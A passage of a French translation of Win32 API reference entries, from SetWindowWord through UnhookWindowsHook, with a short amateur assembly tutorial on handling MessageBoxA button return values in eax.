La fonction SetWindowText peut être employée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer des caractères du jeu de Windows 3.x).

Voir Aussi

GetWindowText


SetWindowWord (Win32)

WORD SetWindowWord(hwnd, nIndex, wNewWord)

HWND hwnd;	/* handle de la fenêtre */
int nIndex;	/* offset de la valeur à placer */
WORD wNewWord;	/* nouvelle valeur */

Cette fonction modifie l'attribut de la fenêtre indiquée par le paramètre hwnd.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre qui doit être modifiée.
nIndex 	 	 Spécifie l'offset du WORD à modifier.
wNewWord 	 Spécifie la valeur de remplacement.

Retours

La valeur en retour est la valeur précédente qui vient d'être remplacée par le Word indiqué.

Commentaires

Pour avoir accès à n'importe quelles valeurs réservée supplémentaires de deux octets lorsque la
structure 'Windows Class' a déjà été créée, vous devez utilisez un offset positif en tant
qu'index dans le paramètre nIndex, en commençant à zéro pour la première valeur de deux octets
dans l'espace supplémentaire, puis deux pour la valeur suivante de deux octets et cetera.

Utilisez la fonction SetWindowLong pour placer les valeurs System-Prédéfinies suivantes:

New SetWindowLong 	 Index	Old SetWindowWord Index

GWL_HINSTANCE 	  	 GWW_HINSTANCE
GWL_HWNDPARENT 	  	 GWW_HWNDPARENT
GWL_ID 	 		 GWW_ID

Voir Aussi

GetParent, GetWindowLong, GetWindowWord, SetParent, SetWindowLong


ShellExecute

La fonction ShellExecute ouvre ou affiche le fichier spécifié. Si le fichier est exécutable elle l’exécute, si le fichier est un fichier type document elle l’affiche. Voir ShellExecuteEx aussi.

 HINSTANCE ShellExecute(

    HWND hwnd,		 // handle de la fenêtre parente
    LPCTSTR lpOperation, // pointe sur une chaîne de caractères qui repésente l’operation d’exécution
    LPCTSTR lpFile,	 // pointe le nom du fichier (chemin compris)
    LPCTSTR lpParameters,// pointe sur une chaîne de caractères laquelle spécifie les paramètres du fichier exécutable
    LPCTSTR lpDirectory, // pointe sur une chaîne de caractères laquelle représente le répertoire par défaut
    INT nShowCmd 	 // sert à on montrer ou non le fichier une fois ouvert
) ;

Paramètres :

Hwnd

Est le handle de la fenêtre parente.

LpOperation

Pointe sur une chaîne de caractères terminée par un NULL laquelle indique l'opération à exécuter. Les chaînes représentant les opérations suivantes sont valables :

Chaîne Signification

"open" La fonction ShellExecute ouvre le fichier indiqué par lpFile. Le fichier peut être un fichier exécutable ou un fichier de type document. Le fichier peut également être un dossier à ouvrir.
"print" La fonction ShellExecute imprime le fichier indiqué par lpFile. Le fichier doit être un fichier de type document. Si le fichier est un fichier exécutable, la fonction ouvrira ce fichier, comme si "open" avait été spécifié.
"explore" La fonction SellExecute explore le dossier indiqué par lpFile.

Le paramètre lpOperation peut être NULL. Dans ce cas, la fonction ‘ouvrira’ le fichier indiqué par lpFile.

LpFile

Pointe sur une chaîne de caractères terminée par un NULL, laquelle spécifie le fichier à ouvrir ou à imprimer ou bien éventuellement le dossier à ouvrir ou à explorer. La fonction ShellExecute peut ouvrir un fichier exécutable ou un fichier de type document. Cette fonction est capable d’imprimer un fichier de type document.

LpParameters

Si lpFile représente un fichier exécutable, alors lpParameters doit pointer sur une chaîne de caractères terminée par un NULL, celle-ci représente les paramètres à passer à l’application.
Si lpFile représente un fichier de type document, lpParameters doit être NULL.

LpDirectory

Pointe sur une chaîne de caractères terminée par un NULL, laquelle représente le ‘répertoire’ par défaut.

NShowCmd

Si lpFile pointe sur un fichier exécutable, alors nShowCmd spécifie comment l’application devra être affichée à l’écran une fois qu’il sera ouvert. Ce paramètre peut être une des valeurs suivantes :

Valeur Signification

SW_HIDE Cache la fenêtre et en active une autre.
SW_MAXIMIZE Maximise la fenêtre indiquée.
SW_MINIMIZE Réduit au minimum la fenêtre indiquée (icône) et active la fenêtre suivante de plus haut niveau dans l'ordre du Z-order (empilement des fenêtres comme sur des calques).
SW_RESTORE Active et affiche la fenêtre. Si la fenêtre était préalablement réduite au minimum ou maximisée, alors elle est rétablie à sa taille et position d’origines. Une application doit utiliser ce Flag pour rétablir ses fenêtres réduites au minimum.
SW_SHOW Active la fenêtre et l’affiche à sa taille et position actuelles.
SW_SHOWDEFAULT Met la fenêtre à l'état d'affichage suivant le flag SW_ indiqué dans la structure STARTUPINFO qui à été passé à la fonction CreateProcess au commencement du programme.
SW_SHOWMAXIMIZED Active la fenêtre et l'affiche comme une fenêtre maximisée.
SW_SHOWMINIMIZED Active la fenêtre et l'affiche comme une fenêtre réduite au minimum.
SW_SHOWMINNOACTIVE Affiche la fenêtre comme une fenêtre réduite au minimum. Si une fenêtre est déjà active, elle reste active.
SW_SHOWNA affiche une fenêtre dans son état actuel. La fenêtre active reste active.
SW_SHOWNOACTIVATE affiche une fenêtre à sa taille et position la plus récente. La fenêtre active reste active.
SW_SHOWNORMAL Active et affiche une fenêtre. Si la fenêtre est réduite au minimum ou maximisée, Windows la rétablit à sa taille et position originale (Idem pour SW_RESTORE).

Si lpFile pointe sur un fichier de type document, nShowCmd doit être NULL.

Valeurs en Retour

Si la fonction ShellExectute a réussit, la valeur en retour est le Handle de l’application qui a été exécutée, ou bien le Handle d'un échange de données dynamique (DDE) d’une application serveur.
Si la fonction échoue, la valeur en retour est une valeur d'erreur qui est inférieur ou égale à 32. La table suivante répertorie les valeurs d'erreur possibles :

Valeur Signification
0 Le système d'exploitation n’a pas assez de mémoire ou de ressources.
ERROR_FILE_NOT_FOUND Le fichier indiqué n'a pas été trouvé.
ERROR_PATH_NOT_FOUND Le chemin indiqué n'a pas été trouvé.
ERROR_BAD_FORMAT Le fichier .EXE est invalide (Ce n’est pas un EXE Win32 ou bien il y a eu une erreur dans l'image (en mémoire) de l’.EXE).
SE_ERR_ACCESSDENIED Le système d'exploitation refuse l'accès au fichier indiqué.
SE_ERR_ASSOCINCOMPLETE Le nom du fichier est incomplète ou invalide.
SE_ERR_DDEBUSY La transmission DDE n’a pas pu être achevée parce que d'autres transactions DDE ont été traitées.
SE_ERR_DDEFAIL La transmission DDE a échouée.
SE_ERR_DDETIMEOUT La transmission DDE n’a pas pu être achevée par la commande prévue.
SE_ERR_DLLNOTFOUND La bibliothèque de liaison dynamique (DLL) indiquée n'a pas été trouvée.
SE_ERR_FNF Le fichier indiqué n'a pas été trouvé.
SE_ERR_NOASSOC Il n'y a aucune application ayant cette extension associée à ce nom de fichier.
SE_ERR_OOM Il n'y avait pas assez de mémoire pour achever l'opération.
SE_ERR_PNF Le chemin indiqué n'a pas été trouvé.
SE_ERR_SHARE Une violation de partage s’est produite.

Remarques

Le fichier indiqué par le paramètre lpFile peut être un fichier de type document (texte) ou un fichier exécutable. Si le fichier est un fichier de type document, la fonction ShellExecute l’ouvre ou l'imprime, selon la valeur du paramètre lpOperation. Si le fichier est un fichier exécutable, la fonction ShellExecute l'ouvre, même si lpOperation spécifie le Flag d'impression.
Vous pouvez employer ShellExecute pour ouvrir ou explorer un dossier (répertoire). Pour ouvrir un dossier, employez un des appels suivants :

ShellExecute (Handle, NULL, Chemin_du_dossier, NULL, NULL, SW_SHOWNORMAL);
Ou
ShellExecute (Handle, "open", Chemin_du_dossier, NULL, NULL, SW_SHOWNORMAL);

Pour explorer un dossier, employez l'appel suivant :

ShellExecute (Handle, "explore", Chemin_du_dossier, NULL, NULL, SW_SHOWNORMAL);

Si lpOperation est NULL, la fonction ouvre le fichier indiqué par lpFile. Si lpOperation est "open" ou bien "explore", alors la fonction forcera la fenêtre à s’ouvrir ou bien elle l'explorera.

Voir Aussi

FindExecutable, ShellExecuteEx


ShellProc (Win32)

LRESULT CALLBACK ShellProc(code, wParam, lParam)

int code;	/* code de hook */
WPARAM wParam;	/* flag de tâche courante */
LPARAM lParam;	/* indéfini */
La fonction ShellProc est une fonction callback qu'on définit dans l'application ou une bibliothèque qu'une application Shell peut employer pour recevoir des avis (des message de notification) utiles de la part du système.

Paramètre 	 Description

code 	 	 Est un code d'avis Shell. Ce paramètre peut être une des valeurs suivantes :

         Valeur 	 		 Signification

         HSHELL_ACTIVATESHELLWINDOW 	 L'application Shell doit activer sa fenêtre
                         principale.
         HSHELL_WINDOWCREATED 	 	 Une fenêtre de plus haut niveau a été
                          créée. La fenêtre débute son existence dès que
                         le système appelle la fonction ShellProc.
         HSHELL_WINDOWDESTROYED 	 Une fenêtre de plus haut niveau est sur le
                         point d'être détruite. La fenêtre existe
                         toujours même une fois que le système
                         appelle la fonction ShellProc.

wParam 	 	 Contient l'information complémentaire dont l'application Shell peut avoir
         besoin. L'interprétation de ce paramètre dépend de la valeur du paramètre
         'code', comme suit :

            Code	  	   		 wParam

         HSHELL_ACTIVATESHELLWINDOW 	 inutilisé.
         HSHELL_WINDOWCREATED 	 	 Est le handle de la fenêtre nouvellement créée.
         HSHELL_WINDOWDESTROYED 	 Est le handle de la fenêtre détruite.

lParam 	 	 Réservé; non employé.

Retours

La valeur en retour doit être NULL.

Commentaires
L'application doit installer cette fonction callback en spécifiant le type de filtre WH_SHELL et l'adresse de l'Instance de la procédure de la fonction callback en appelant la fonction SetWindowsHookEx.

ShellProc est un placeholder du nom de fonction prédéfini dans l'application ou une bibliothèque. Le nom réel doit être exporté en l'incluant dans la déclaration d'EXPORTATIONS (dans un fichier *.def).

Voir Aussi

CallNextHookEx, SendMessage, SetWindowsHookEx


ShowOwnedPopups (Win32)

BOOL ShowOwnedPopups(hwnd, fShow)

HWND hwnd;	/* handle de la fenêtre */
BOOL fShow;	/* Flag de visibilité de la fenêtre */
Cette fonction affiche ou cache toutes les fenêtres popup qui sont associées à la fenêtre d'handle hwnd. Si le paramètre fShow n'est pas nul, toute les fenêtres popup cachée sont affichées; si fShow est nul, toutes les fenêtres popup affichées sont cachées.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre qui possède les fenêtres popup qui doivent être affichées
         ou cachées.
fShow 	 	 Indique si les fenêtres popup seront cachées ou affichées. Ce paramètre doit
         contenir un TRUE pour afficher toutes les fenêtres popup et FALSE pour
         cacher ces mêmes fenêtres.

Retours

Retours TRUE pour succès, FALSE pour échec.

Commentaires
Cette fonction affichera(montrera) uniquement les fenêtre ayant été cachées avec cette même fonction. C'est-à-dire que si vous ouvrez une fenêtre popup, et qu'ensuite vous la cachez en utilisant la fonction ShowWindow, et bien le fait d'appeler ShowOwnedPopups avec le flag TRUE ne réaffichera pas la fenêtre.

Voir Aussi

ShowWindow


ShowWindow

La fonction ShowWindow définit la façon dont sera affichée la fenêtre ciblée.

BOOL ShowWindow (

hWnd hWnd, // handle de la fenêtre

int nCmdShow // état de l'affichage de la fenêtre

);

Paramètres

hWnd

Identifie la fenêtre.

nCmdShow

Spécifie comment la fenêtre doit être montrée. Ce paramètre est ignoré la première fois qu'une application appelle ShowWindow, si le programme qui a lancé cette application fournit une structure STARTUPINFO. Sinon, la première fois que ShowWindow est appelée, cette valeur doit être la valeur obtenue par la fonction WinMain (dans son paramètre nCmdShow). Dans les appels suivants, ce paramètre peut être une des valeurs suivantes :

Signification des Valeurs:

SW_HIDE Cache la fenêtre et active une autre fenêtre.
SW_MAXIMIZE Maximise la fenêtre indiquée.
SW_MINIMIZE Réduit au minimum la fenêtre indiquée et active la fenêtre suivante de plus haut niveau.
SW_RESTORE Active et affiche la fenêtre. Si la fenêtre est réduite au minimum ou maximisée, Windows la rétablit à sa taille et position originale. Une application doit spécifier ce flag en rétablissant une fenêtre réduite au minimum.
SW_SHOW Active la fenêtre et l'affiche à sa taille et position actuelle.
SW_SHOWDEFAULT Met la fenêtre à l'état d'affichage suivant le flag SW_ indiqué dans la structure STARTUPINFO qui à été passé à la fonction CreateProcess au commencement du programme.
SW_SHOWMAXIMIZED Active la fenêtre et l'affiche comme une fenêtre maximisée.
SW_SHOWMINIMIZED Active la fenêtre et l'affiche comme une fenêtre réduite au minimum.
SW_SHOWMINNOACTIVE Affiche la fenêtre comme une fenêtre réduite au minimum. Si une fenêtre est déjà active, elle reste active.
SW_SHOWNA affiche une fenêtre dans son état actuel. La fenêtre active reste active.
SW_SHOWNOACTIVATE affiche une fenêtre à sa taille et position la plus récente. La fenêtre active reste active.
SW_SHOWNORMAL Active et affiche une fenêtre. Si la fenêtre est réduite au minimum ou maximisée, Windows la rétablit à sa taille et position originale (Idem pour SW_RESTORE).

Valeurs de Retour

Si la fenêtre était déjà visible, la valeur en retour n'est pas un zéro.
Si la fenêtre a été précédemment cachée, la valeur en retour est zéro.

Remarques

La première fois qu'un programme appelle ShowWindow, il emploie le paramètre nCmdShow de la fonction WinMain pour son paramètre nCmdShow. Les appels ShowWindow suivants doivent employer une des valeurs dans la liste donnée, à la place de celui indiqué par le paramètre nCmdShow appartenant à la fonction WinMain.
Comme ça a été dit à propos du paramètre nCmdShow, la valeur de nCmdShow est ignorée pour le premier appel de ShowWindow si le programme qui a lancé l'application spécifie l'information de démarrage dans une structure STARTUPINFO. Dans ce cas, ShowWindow emploie l'information indiquée dans la structure STARTUPINFO pour afficher la fenêtre. Pour les appels suivants, l'application doit appeler ShowWindow en prenant le flag SW_SHOWDEFAULT dans nCmdShow pour utiliser cette information fournie au démarrage par le programme qui a lancé l'application. Par exemple, le Gestionnaire de programmes spécifie que les applications commencent par une fenêtre réduite au minimum. Ce comportement est conçu pour les situations suivantes :

· des applications créent leur fenêtre principale en appelant CreateWindow avec le flag WS_VISIBLE posé. (ce qui fait que la fenêtre est dans un état visible et affichée)
· des applications créent leur fenêtre principale en appelant CreateWindow avec le flag WS_VISIBLE déclaré (ce qui fait que la fenêtre est dans un état visible mais en attente d'affichage), par la suite ShowWindow est appelé avec en plus le flag SW_SHOW pour la montrée.


 MessageBox II

MessageBox II

(Gestion des boutons après l’ouverture de la MessageBox)

Programme associé : Morgatte2.exe en exemple

Voici un complément à apporter à ma première doc sur les MessageBox.

Points déjà vus pour la création d’une boîte de message:

push 00000000 <--- Le premier définit le type de MessageBox. (boutons présents,…)

push 00402028 <--- Le second définit le texte pour son titre.

push 00402000 <--- Le troisième définit le texte pour son contenu.

push 00000000 <--- Le quatrième définit le n°de la fenêtre.

Call User32 ! MessageBoxA <--- Affichage de la boîte de message.

Voyons ce qui se passe une fois qu’elle est affichée :

Après l’ouverture d’une MessageBox, le programme est arrêté sur le ‘Call’ qui l’a ouvert en attendant qu’un de ses bouton soit sélectionné . Après pression d’un bouton, ‘eax’ prend en retour une valeur particulière.

Dans la première Doc j’avais fait des tableaux avec des croix pour montrer quels boutons étaient créés en fonction de la valeur du premier ‘Push’

Voici exactement le même tableau avec en plus une information supplémentaire. A savoir : ‘La valeur que va prendre ‘eax’ après l’appui sur un bouton appartenant à cette boîte.

Le signe
Les boutons

Croix

rien

croix

?

!

i

Ok

Annuler

Abandon

Réessayer

Oui

Non

Aide

Ignorer

Activ

0040

X

eax=1

0041

X

eax=1

eax=2

eax=2

0042

X

eax=3

eax=4

eax=5

0043

X

eax=2

eax=6

eax=7

eax=2

0044

X

eax=6

eax=7

0045

X

eax=2

eax=4

eax=2

0046

X

inactif

0047

X

0048

X

eax=2

inactif

eax=2

0049

X

004A

X

eax=1

eax=2

inactif

eax=2

004B

X

004C

X

eax=1

eax=2

Ina/ina

eax=2

004D

X

004E

X

eax=1

eax=2

eax=3

eax=4

inactif

eax=2

004F

X

Ce qui est important, c’est ce qui est en bleu ! vous aurez exactement les mêmes données avec les autre types de MessageBox, exemple :

0000 | X |  |  |  | eax=1
0010 |  | X |  |  | eax=1
0020 |  |  | X |  | eax=1
0030 |  |  |  | X | eax=1

Donc voilà : imaginons la Boite de Message suivante :

push 00000033 <--- Type de MessageBox : EX :’ Choix des boutons’

push 00402028 <--- titre : ‘APRES LE CALL MessageBox’

push 00402000 <--- contenu : ‘TOUT DEPEND DE EAX’

push 00000000 <--- Le quatrième définit le n°de la fenêtre. (Poignée)

Call User32 ! MessageBoxA <--- Affichage de la boîte de message.

D’après le premier Call, elle aura les boutons ‘OUI’, ‘NON’ et ‘ANNULER’ qui si on clique dessus renvoient respectivement les valeurs EAX=6, EAX=7 ou EAX=2.

Imaginez que ceci est à suivre :

cmp eax,6

je (adresse : ON CONTINUE LE PROGRAMME, partie affirmation)

cmp eax, 7

je (adresse : ON CONTINUE LE PROGRAMME, partie négation)

…

…

Push 00000000

Call KERNEL32 ! ExiteProcess

Je ne pense pas qu’il me soit besoin de commenter plus. C’est limpide !

Voici donc le fonctionnement complet d’une MessageBox avec la gestion de ses boutons pour rediriger l’utilisateur dans différentes parties du programme selon ses choix.

Il reste pourtant une chose qui m’échappe. c’est la détection du bouton ‘Aide’. Non seulement le résultat n’est pas retourné dans ‘EAX’ mais en plus de ça même en cliquant dessus, l’EIP n’est pas incrémenté. On reste donc sur la ligne du Call MessageBox comme si le bouton ‘Aide’ n’était rien.

EH ben justement j’attend votre ‘Aide’…Quelqu’un trouvera bien….

Par Morgatte


SysMsgProc (Win32)

LRESULT CALLBACK SysMsgProc(nCode, wParam, lParam)

int nCode;	/* flag concernant le message */
WPARAM wParam;	/* indéfini */
LPARAM lParam;	/* adresse de la structure contenant le message */
La procédure de hook SysMsgProc est une fonction callback qu'on définit dans une bibliothèque que le système appelle après qu'un événement d'entrée ne se soit produit dans une DialogBox, une MessageBox, un Menu, ou une Barre de Scrolling, mais avant que le message produit par l'événement d'entrée n'ait été traité. La procédure de hook peut espionner les messages de n'importe quelle DialogBox, MessageBox, Menu, ou Barre de Scrolling du système.

Paramètre 	 Description

nCode 	 	 Spécifie le type d'événement d'entrée qui a produit le message. Ce paramètre
         peut être une des valeurs suivantes :

         Valeur 	  Signification

         MSGF_DIALOGBOX  Indique que l'événement d'entrée s'est produit dans une
                  MessageBox ou une DialogBox.
         MSGF_MENU 	 Indique que l'événement d'entrée s'est produit dans un Menu.
         MSGF_SCROLLBAR  Indique que l'événement d'entrée s'est produit dans une Barre
                  de Scrolling.
         MSGF_NEXTWINDOW Indique que l'événement d'entrée s'est produit suite à une
                  pression sur ALT+TAB ou ALT+ESC pour activer une autre
                 fenêtre.

         Si le paramètre nCode est négatif, la procédure de hook doit passer le message
         à la fonction CallNextHookEx sans le traiter et renvoyer la valeur retournée
         par CallNextHookEx.

wParam 	 	 Est NULL.
lParam 	 	 Pointe sur une structure MSG.

Retours

La procédure de hook doit retourner une valeur non nulle si elle traite le message;
autrement, elle doit retourner  un NULL.

Commentaires
L'application doit installer cette procédure de hook en spécifiant le type de hook WH_SYSMSGFILTER et l'adresse de la procédure de hook en appelant la fonction SetWindowsHookEx.

SysMsgProc est un placeholder du nom de la fonction fourni dans la bibliothèque. Le nom réel doit être exporté en l'incluant dans la déclaration d'EXPORTATIONS (dans un fichier *.def).

Voir Aussi

CallNextHookEx, SetWindowsHookEx


SystemTimeToFileTime (Win32)

BOOL SystemTimeToFileTime(lpst, lpft)

LPSYSTEMTIME lpst;	/* adresse du system time à convertir */
LPFILETIME lpft;	/* adresse du buffer pour recevoir la convertion en file time */

La fonction SystemTimeToFileTime convertit une valeur de temps de format SYSTEMTIME en format
FILETIME.

Paramètre 	 Description

lpst 	 Pointe sur une structure SYSTEMTIME laquelle contient le temps à convertir. Le membre
     wDayOfWeek est ignoré.
lpft 	 Pointe sur une structure FILETIME laquelle reçoit le format de temps SYSTEMTIME une
     fois converti.
Retours

La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur s'est produite. Utilisez la fonction GetLastError pour obtenir l'information à propos de l'erreur étendue.

Voir Aussi

FileTimeToSystemTime, FileTimeToDosDateTime, DosDateTimeToFileTime


TerminateProcess (Win32)

BOOL TerminateProcess(hProcess, uExitCode)

HANDLE hProcess;
UINT uExitCode;

Un process et tous ses liens peuvent être terminés en employant la fonction TerminateProcess.

Paramètre 	 Description

hProcess 	 est le handle du process qu'on souhaite terminer. Ce handle a dû être créé
         avec l'accès PROCESS_TERMINATE.
uExitCode 	 est le statut de terminaison de chaque lien du process.

Retours
La valeur en retour est TRUE si la fonction est couronnée de succès. Autrement, ce sera un FALSE dans le cas où des informations à propos de l'erreur étendue sont disponible grâce à la fonction GetLastError.

TerminateProcess est utilisée pour faire en sorte que tous les liens du process se terminent.
Bien que TerminateProcess fait en sorte que tous les liens dans un process se terminent et fasse ainsi qu'on sorte de l'application, cette fonction ne notifie (ne prévient pas) pas les DLLs rattachér à ce process. TerminateProcess sert habituellement sortir d'un process sans qu'il n'y ait de conditions. Elle doit uniquement être utilisé dans des circonstances extrêmes. L'état (l'intégrité) des données Globales entretenues par les DLLs peuvent être mises en péril si TerminateProcess est employé à la place de ExitProcess.
Le statut de terminaison du process passe de la valeur initiale STATUS_PENDING au statut de terminaison du dernier lien dans le process pour le terminer (habituellement c'est la même valeur que le paramètre TerminationStatus). La fin d'un process n'enlève pas le process du système. Il fait simplement en sorte que tous les liens du process terminent leur exécution et referme tous les handles des objets de ce process. Le process n'est pas enlevé du système tant que son dernier handle en rapport avec ce process ne soit fermé.

Voir Aussi

ExitProcess, OpenProcess


TimerProc (Win32)

VOID CALLBACK TimerProc(hwnd, wMsg, IDEvent, dwTime)

HWND hwnd;	/* handle de la fenêtre qui reçoit les messages	du Timer */
UINT wMsg;	/* message WM_TIMER */
UINT IDEvent;	/* identificateur du Timer */
DWORD dwTime;	/* system de temps actuel */

La fonction TimerProc est une fonction CallBack, laquelle traite les messages WM_TIMER.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre associée au Timer.
wMsg 	 	 Représente le message WM_TIMER.
IDEvent 	 Spécifie l'identificateur du minuteur.
dwTime 	 	 Spécifie le système de temps actuel.

Commentaires

TimerProc est un placeholder du nom de la fonction. Le nom réel doit être exporté en l'incluant dans une déclaration EXPORTATION (EXPORTS) dans le fichier de définition du module de l'application. (un fichier *.def associer au fichier *.asm)

Voir Aussi

KillTimer, SetTimer, WM_TIMER


TrackPopupMenu (Win32)

BOOL TrackPopupMenu(hmenu, fuFlags, x, y, nReserved, hwnd, lprc)

HMENU hmenu;		/* handle du menu popup */
UINT fuFlags;		/* Flags de position-écran et de bouton-souris */
int x;			/* positon-écran horizontal */
int y;			/* position-écran vertical */
int nReserved;		/* réservé */
HWND hwnd;		/* handle de la fenêtre parente (propriétaire) */
CONST RECT *lprc;	/* adresse de la structure Rectangle */

La fonction TrackPopupMenu affiche un menu-popup-volant à l'emplacement indiqué (par la souris par exemple), et montre les différents items de ce menu-popup. Le menu-popup-volant peut apparaître à n'importe quel endroit de l'écran.

Paramètre 	 Description

hmenu 	 	 Identifie le menu-popup à affiché. L'application obtient son handle en
         appelant la fonction CreatePopupMenu pour d'abord le créer ou bien en
         appelant la fonction GetSubMenu pour retrouver son handle.
fuFlags 	 Représente une association de Flags contenant d'une part la position-écran
         et d'autre part le bouton de la souris en tant qu'amorce où non.
         Le Flag position-écran peut être un des suivants :

         Valeur 	  Signification

         TPM_CENTERALIGN  Centre le menu-popup horizontalement par rapport à la
                   coordonnée indiquée par le paramètre x.
         TPM_LEFTALIGN 	  Place le menu-popup pour que son côté gauche soit aligné
                   sur la coordonnée indiquée par le paramètre x. (il est
                  placé à gauche de l'écran).
         TPM_RIGHTALIGN   Place le menu-popup pour que son côté droit soit aligné
                   sur la coordonnée indiquée par le paramètre x. (il est
                  placé à droite de l'écran).

         Le Flag 'bouton-souris' peut être un des suivants :

         Valeur 	  Signification

         TPM_LEFTBUTTON   C'est le bouton gauche de la souris qui déclenche l'affichage
                   du menu-popup.
         TPM_RIGHTBUTTON  C'est le bouton droit de la souris qui déclenche l'affichage
                   du menu-popup.

x	 	 Représente la position horizontale du menu-popup (en coordonnées d'écran).
         L'origine à partir de laquelle est prise cette position dépend du paramètre
         fuFlags, les trois origines possibles sont le bord gauche de l'écran, le
         bord droite, ou son centre. (tout dépend de fuFlags).
y	 	 Représente la position verticale du menu-popup (en coordonnées d'écran) à
         partir du sommet de l'écran.
nReserved 	 Réservé. Doit être NULL.
hwnd 	 	 Identifie la fenêtre qui possède le menu-popup. Cette fenêtre reçoit tous
         les messages classiques concernants les menus. La fenêtre ne recevra pas de
         message WM_COMMAND provenant du menu avant le retour de la fonction
         TrackPopupMenu.
lprc 	 	 Pointe sur une structure RECT, laquelle contient les coordonnées-écran
         d'un rectangle dans lequel l'utilisateur peut cliquer sans que ce menu-popup
         ne s'efface. Si ce paramètre est NULL, le menu-popup est effacé dès que
         l'utilisateur clique à l'extérieur du menu.

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès ou FALSE si une erreur se produit. Pour obtenir l'information sur l'erreur étendue, utilisez la fonction GetLastError.

Voir Aussi

CreatePopupMenu, GetSubMenu


TranslateMessage

La fonction TranslateMessage traduit des messages de touches-virtuelles en des messages de caractères. Les messages de caractères sont postés en file d'attente de message du lien appelant, pour pouvoir être lu la prochaine fois que le lien appellera la Fonction GetMessage ou PeekMessage.

BOOL TranslateMessage (
CONST MSG *LpMsg // adresse de la structure de message
);

Paramètres

lpMsg

Pointe sur la structure de MESSAGE laquelle contient l'information du message retrouvé dans la file d'attente de message du lien appelant, en employant la Fonction GetMessage ou PeekMessage.

Valeurs de Retour

Si le message est traduit (c'est-à-dire un message de caractère est posté dans la file d'attente de message du lien), la valeur en retour est non-nulle.
Si le message n'est pas traduit (c'est-à-dire qu'aucun message de caractère n'a été posté dans la file d'attente de message du lien), la valeur en retour est zéro.
Windows NT : la fonction TranslateMessage renvoie une valeur non-nulle pour les touches-flèches aussi bien que pour les touches-chiffre.

Remarques

La fonction TranslateMessage ne modifie pas le message indiqué par le paramètre lpMsg.
Les combinaisons WM_KEYDOWN et WM_KEYUP produisent un message WM_CHAR ou WM_DEADCHAR. Les combinaisons WM_SYSKEYDOWN et WM_SYSKEYUP produisent le message WM_SYSCHAR ou WM_SYSDEADCHAR.
TranslateMessage produit des messages WM_CHAR seulement pour les touches qui sont configurés en tant que caractères ASCII (texte) par le driver du clavier.

Si les applications traitent des messages de touches-virtuels pour d'autres raisons, ils ne doivent pas appeler TranslateMessage. Par exemple, une application ne doit pas appeler TranslateMessage si la fonction TranslateAccelerator renvoie la valeur TRUE.


UnhandledExceptionFilter (Win32)

EXCEPTION_DISPOSITION UnhandledExceptionFilter(ExceptionInfo)

struct _EXCEPTION_POINTERS *ExceptionInfo;

Win32 fournit un filtre d'exception par défaut qui est employé au commencement de chaque lien
et process. Ce filtre est responsable de passer (de l'admission) les exceptions non traitées
au debugger de l'application. Si l'application n'est pas un Debugger, une boîte de message
d'Erreur est affichée facultativement.

Paramètre 	 Description

ExceptionInfo 	 Fournit l'information d'exception au moment d'une exception. Typiquement c'est
         la valeur de retour d'un appel de la fonction GetExceptionInformation.

Retours

Valeur 	  		   	 Signification

EXCEPTION_CONTINUE_SEARCH 	 Le process est Debuggé, donc on doit passer cette exception
                 (en tant que seconde chance) au programme Debugger de
                 l'application.
EXCEPTION_EXECUTE_HANDLER 	 Si le flag SEM_NOGPFAULTERRORBOX a été spécifié dans un appel
                 précédent de la fonction SetErrorMode, aucune boîte de message
                 d'Erreur D'application n'est affichée. La fonction rend le
                 contrôle à l' Exception Handler qui est libre de prendre
                 n'importe quelle action appropriée.

Commentaires

Le systèmeWin32 utilise cette fonction intérieurement autour du début de chaque lien dans le
process. Si la valeur en retour est EXCEPTION_EXECUTE_HANDLER, le process est terminé.


UnhookWindowsHook (Win32)

BOOL UnhookWindowsHook(nCode, hkprc)

int nCode;	/* type de hook à enlever */
HOOKPROC hkprc;	/* adressee de la procédure de hook */
La fonction UnhookWindowsHook enlève une procédure de hook, laquelle avait été installée dans une chaîne de hook par la fonction SetWindowsHook.

Paramètre 	 Description

nCode 	 	 Spécifie le type de hook à enlever de la procédure de hook. Ce paramètre peut
         être une des valeurs suivantes :

            Valeur 	 Signification

         WH_CallWndProc  Enlève une procédure de hook, laquelle espionne les messages
                  envoyés à une procédure de fenêtre. Pour plus d'informations,
                 voyez la description de la procédure de hook CallWndProc.
         WH_CBT 	 Enlève une procédure de hook, laquelle reçoit des avis
                  (messages de notifications) utilisés par une application CBT.
                 Pour plus d'informations, voyez la description de la procédure
                 de hook CBTProc.
         WH_DEBUG 	 Enlève une procédure de hook servant à débugger d'autres
                  procédures de hook. Pour plus d'informations, voyez la
                 description de la procédure de hook DebugProc.
         WH_GETMESSAGE 	 Enlève une procédure de hook, laquelle contrôle des messages
                  postés dans la file d'attente des messages. Pour plus
                 d'informations, voyez la description de la procédure de
                 hook GetMsgProc.
         WH_JOURNALPLAYBACK 	 Enlève une procédure de hook, laquelle poste des
                  messages précédemment enregistrés par une procédure de hook
                 WH_JOURNALRECORD. Pour plus d'informations, voyez la
                 description de la procédure de hook JournalPlaybackProc.
         WH_JOURNALRECORD 	 Enlève une procédure de hook, laquelle enregistre des
                  messages d'entrée postés dans la file d'attente des messages
                 du système. Cet hook est utile pour la macros d'enregistrement
                 (recording). Pour plus d'informations, voyez la description de
                 la procédure de hook JournalRecordProc.
         WH_KEYBOARD 	 Enlève une procédure de hook, laquelle espionne les
                  messages de frappe clavier. Pour plus d'informations, voyez
                 la description de la procédure de hook KeyboardProc.
         WH_MOUSE 	 Enlève une procédure de hook, laquelle espionne les messages
                  souris. Pour plus d'informations, voyez la description de la
                 procédure de hook MouseProc.
         WH_MSGFILTER 	 Enlève une procédure de hook, laquelle espionne les messages
                  produits suite à un événement d'entrée dans une DialogBox, une
                 MessageBox, un Menu, ou dans une Barre de défilement
                 (scrolling). Cette procédure de hook espionne uniquement
                 certains messages de l'application qui l'a installée. Pour
                 plus d'informations, voyez la description de la procédure
                 de hook MessageProc.
         WH_SHELL 	 Enlève une procédure de hook, laquelle reçoit des avis utilisés
                  par une application Shell. Pour plus d'informations, voyez la
                 description de la procédure de hook ShellProc.
         WH_SYSMSGFILTER Enlève une procédure de hook, laquelle espionne les messages
                  produits suite à un événement d'entrée dans une DialogBox, une
